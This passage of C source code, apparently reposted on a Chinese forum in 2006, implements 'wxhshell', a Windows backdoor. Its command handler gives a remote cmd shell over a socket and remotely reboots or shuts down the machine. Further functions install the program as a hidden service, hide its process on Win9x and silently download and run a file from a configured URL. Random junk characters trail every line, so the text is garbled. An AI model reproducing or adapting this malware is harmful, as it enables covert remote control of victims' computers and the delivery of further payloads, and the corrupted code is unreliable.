  // 帮助 25H=RTw  
  case '?': { CU+H`-+"J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 86f8b{_e"  
    break; <t"KNKI  
  } j0.E!8Ae{  
  // 安装 G^W'mV$xl  
  case 'i': { t4H*&U  
    if(Install()) Co^^rd@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Mxc"% w  
    else m2x=Qv][@c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IW$qP&a  
    break; XlaGR2-%  
    } k )=Gyv<  
  // 卸载 d>1cKmH!  
  case 'r': { IA3m.Vxj ^  
    if(Uninstall()) M/5+AsT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J0HEpn4  
    else @p 2XaqZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NxGSs_7  
    break; 9H%dK^C  
    } OBEHUJ5  
  // 显示 wxhshell 所在路径 o @(.4+2m  
  case 'p': { m.b}A'GT  
    char svExeFile[MAX_PATH]; \<kQ::o1y  
    strcpy(svExeFile,"\n\r"); 3[cGSI"+  
      strcat(svExeFile,ExeFile); u+Sj#iZ  
        send(wsh,svExeFile,strlen(svExeFile),0); hx$b Y  
    break; ~RU-N%Kn  
    } Dwa.ZY}-  
  // 重启 RemjiCE0'  
  case 'b': { "*HVL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -A(]U"@n  
    if(Boot(REBOOT)) ('oA{,#L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4DV@-  
    else { GWCU 9n  
    closesocket(wsh); ?d5_{*]+v  
    ExitThread(0); pzFM#   
    } o56UlN  
    break; iu.$P-s  
    } E/ {v6S{)Y  
  // 关机 \]Y=*+{  
  case 'd': { &,%+rvo}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3ahbv%y  
    if(Boot(SHUTDOWN)) DPBWw[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QqCwyK0  
    else { \L:+k `  
    closesocket(wsh); B.F~/PET  
    ExitThread(0); B{2WvPX~q  
    } mXJ`t5v^l  
    break; s#4Q?<65u  
    } 8\BYm|%aa  
  // 获取shell =j^wa')  
  case 's': { L 4Sa,ZL  
    CmdShell(wsh); W+'f|J=  
    closesocket(wsh); ?!;i/h*{  
    ExitThread(0); wfq}NK;  
    break; 0fAo&B  
  } "YoFUfaNg  
  // 退出 byN4?3 F  
  case 'x': { L5n/eg:Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kB]?95>Wx  
    CloseIt(wsh); -/LB-t  
    break; &2//\Qz  
    } }@<Ru  
  // 离开 L',7@W  
  case 'q': { A(T=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !~!\=etm  
    closesocket(wsh); U*cWNn:."  
    WSACleanup(); kPezR: 31  
    exit(1); fK; I0J  
    break; 4)].{Z4 q  
        } Y=(%t:#_  
  } (5efNugc  
  } # |^yWw^  
VdE$ig@  
  // 提示信息 M2piJ'T4u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W&p f%?  
} !+Zso&  
  } mt]50}eK  
?(E?oJ)(  
  return; jU!ibs}R3  
} t6! B  
GK[[e~#u  
// shell模块句柄 nna boD  
int CmdShell(SOCKET sock) [WN2ZQ  
{ WF`  
STARTUPINFO si; 2|D<0d#W  
ZeroMemory(&si,sizeof(si)); ,.TwM;w=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #)z7&nD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l;vA"b=]  
PROCESS_INFORMATION ProcessInfo; GEZ!z5";BQ  
char cmdline[]="cmd"; n{E9p3i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =0_((eXwf  
  return 0; l( uV@_3  
} )@E'yHYO>  
TQsTL2a  
// 自身启动模式 Z1sRLkR^  
int StartFromService(void) l ^;=0UR_  
{ *$9Rb2}kK  
typedef struct KDu~,P]  
{ *# ;  
  DWORD ExitStatus; F:'>zB]-}  
  DWORD PebBaseAddress; R:Tv'I1-L  
  DWORD AffinityMask; R0bWI`$Z  
  DWORD BasePriority; gM_MK8py  
  ULONG UniqueProcessId; =:(<lKf,<F  
  ULONG InheritedFromUniqueProcessId; Azag*M?  
}   PROCESS_BASIC_INFORMATION; 0wZAsG"Bg  
n*y@3.  
PROCNTQSIP NtQueryInformationProcess; wOrpp3I  
Gn>~CoFN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '$Fu3%ft  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Nl.< 6+  
,N@N4<C]  
  HANDLE             hProcess; BBHoD:l  
  PROCESS_BASIC_INFORMATION pbi; by* v($  
G ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g{^(EZ,  
  if(NULL == hInst ) return 0; C0-,<X  
;;<[_gp,E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >IEc4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zD): yEc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \5R>+[n!  
^/"2s}+  
  if (!NtQueryInformationProcess) return 0; 3TF'[(K=  
KK41I 8Mw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L ]QBh\  
  if(!hProcess) return 0; -14~f)%NQ*  
mmBZ}V+&=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0JX/@LNg0  
u!9bhL`  
  CloseHandle(hProcess); 7 ^n{BsN  
-A)/CFIZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *>J45U(6:  
if(hProcess==NULL) return 0; g<5G#  
%nT&  
HMODULE hMod; YA*E93J0  
char procName[255]; G:Cgq\+R  
unsigned long cbNeeded;  !AFii:#  
X DAwE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MB3 N3,yL  
C.Re*;EI,  
  CloseHandle(hProcess); a 8.Xy])!  
[*v- i%U}  
if(strstr(procName,"services")) return 1; // 以服务启动 nCPIpw,]M  
[Ontip  
  return 0; // 注册表启动 u\P)x~-TM  
} y];@ M<<?e  
@j+X>TD  
// 主模块 'Z`fZ5q  
int StartWxhshell(LPSTR lpCmdLine) _VI3b$  
{ ~=9]M.$  
  SOCKET wsl; A^@,Ha  
BOOL val=TRUE; VQHQvFRZ)  
  int port=0; x(bM   
  struct sockaddr_in door; (5&l<u"K~  
)`-vN^1S-  
  if(wscfg.ws_autoins) Install(); of>}fJ_p  
H'wh0K(  
port=atoi(lpCmdLine); 6I~{~YvB"  
H <ugc  
if(port<=0) port=wscfg.ws_port; e3x;(@j  
73tWeZ8rvx  
  WSADATA data; NK|m7 (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HQtUNtZ  
o!}/& '(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {p M3f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o>oZh1/\T,  
  door.sin_family = AF_INET; .aE%z/@s=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >TddKR @C  
  door.sin_port = htons(port); Fa A7m  
GN ?1dwI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qwDoYy yu  
closesocket(wsl); 62{[)jt{  
return 1; ?%RR+(2m  
} 4&'_~qU  
k ks ?S',  
  if(listen(wsl,2) == INVALID_SOCKET) { :j( D&?ao  
closesocket(wsl); Z=CY6Zu7  
return 1; C;.+ kE  
} S[L2vM)  
  Wxhshell(wsl); OCYC Dn  
  WSACleanup(); ybgAyJ{J<  
AAld2"r  
return 0; IX y  $  
qD/FxR-!  
} a@U0s+V&a0  
v}-jls  
// 以NT服务方式启动 {GM8}M~D&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SWM6+i p  
{ ]#Q'~X W  
DWORD   status = 0; *r]Mn~3  
  DWORD   specificError = 0xfffffff; Ax"I$6n>  
h2#S ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W(&9S[2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rkC6 -9V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P g1EE"N@  
  serviceStatus.dwWin32ExitCode     = 0; AC9#!# OGB  
  serviceStatus.dwServiceSpecificExitCode = 0; mB]Y;R<  
  serviceStatus.dwCheckPoint       = 0; \J?5K l[*c  
  serviceStatus.dwWaitHint       = 0; {uuvgFC  
I6,sN9` K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6mbHfL>cO  
  if (hServiceStatusHandle==0) return; d( +E0  
XG_Iq ,  
status = GetLastError(); UON W3}-  
  if (status!=NO_ERROR) 7]6HXR@  
{ b1`(f"&l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4<QS ot  
    serviceStatus.dwCheckPoint       = 0; lg!{?xM  
    serviceStatus.dwWaitHint       = 0; Pw_[{LL  
    serviceStatus.dwWin32ExitCode     = status; O`W&`B(*k  
    serviceStatus.dwServiceSpecificExitCode = specificError; j2"Y{6c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b(McH*_8e  
    return; GDj ViAFm  
  } 9XPQ1LSx  
!%_H1jk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ua!g}m~  
  serviceStatus.dwCheckPoint       = 0; h2C1'+Q{9  
  serviceStatus.dwWaitHint       = 0; 0kB!EJ<OdG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M`kR2NCi  
} ,"!P{c  
6X.lncE@p  
// 处理NT服务事件,比如:启动、停止 !rMl" Y[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4$<-3IP,  
{ ^>fjURR  
switch(fdwControl) 7,N>u8cTh  
{ #Zy-X_r  
case SERVICE_CONTROL_STOP: DG $._  
  serviceStatus.dwWin32ExitCode = 0; d^<a)>5h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Cckp! 6  
  serviceStatus.dwCheckPoint   = 0; wf8GH}2A  
  serviceStatus.dwWaitHint     = 0; -O=a"G=  
  { (iZE}qf7 g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X@ Gm:6  
  } I=3e@aTZ,  
  return; uY;2tZldf=  
case SERVICE_CONTROL_PAUSE: {%;KkC8=R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jW-j+ WGSM  
  break; (SlrV8;  
case SERVICE_CONTROL_CONTINUE: gB?~!J?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~CB6+t>  
  break; iEf6oM  
case SERVICE_CONTROL_INTERROGATE: Eb<iR)e H=  
  break; = ?hx+-'  
}; ]8XY "2b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQ}'4i8(  
} fYzOT, c  
yEfV8aY'*  
// 标准应用程序主函数 |,ZmRW^2K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {m/\AG)1I  
{ hL,+wJ+A  
D~xU r )E  
// 获取操作系统版本 * QF3l0&  
OsIsNt=GetOsVer(); <k^P>Irb3t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $MmCh&V  
.qioEqK8!y  
  // 从命令行安装 Eqg(U0k0  
  if(strpbrk(lpCmdLine,"iI")) Install(); @:~O  
f*g>~!  
  // 下载执行文件 t?0D*!D  
if(wscfg.ws_downexe) { rwlV\BU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AVR9G^ce_  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lw]:/x  
} ~nk'ZJ   
nuB@Fkr  
if(!OsIsNt) { F` ifHO  
// 如果时win9x,隐藏进程并且设置为注册表启动 o 2 5kFD  
HideProc(); x hFQjV?V  
StartWxhshell(lpCmdLine); *My?l75  
} 3d.JV'C'c  
else C'hI{4@P  
  if(StartFromService()) _|ucC$*  
  // 以服务方式启动 WRJ+l_81  
  StartServiceCtrlDispatcher(DispatchTable); ?zKVXK7}0  
else nzTzc5 w  
  // 普通方式启动 9_rNJLj8y  
  StartWxhshell(lpCmdLine); pQxaT$  
=De%]]>   
return 0; g]V}azLr  
}
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只看该作者 1 发表于: 2006-10-10
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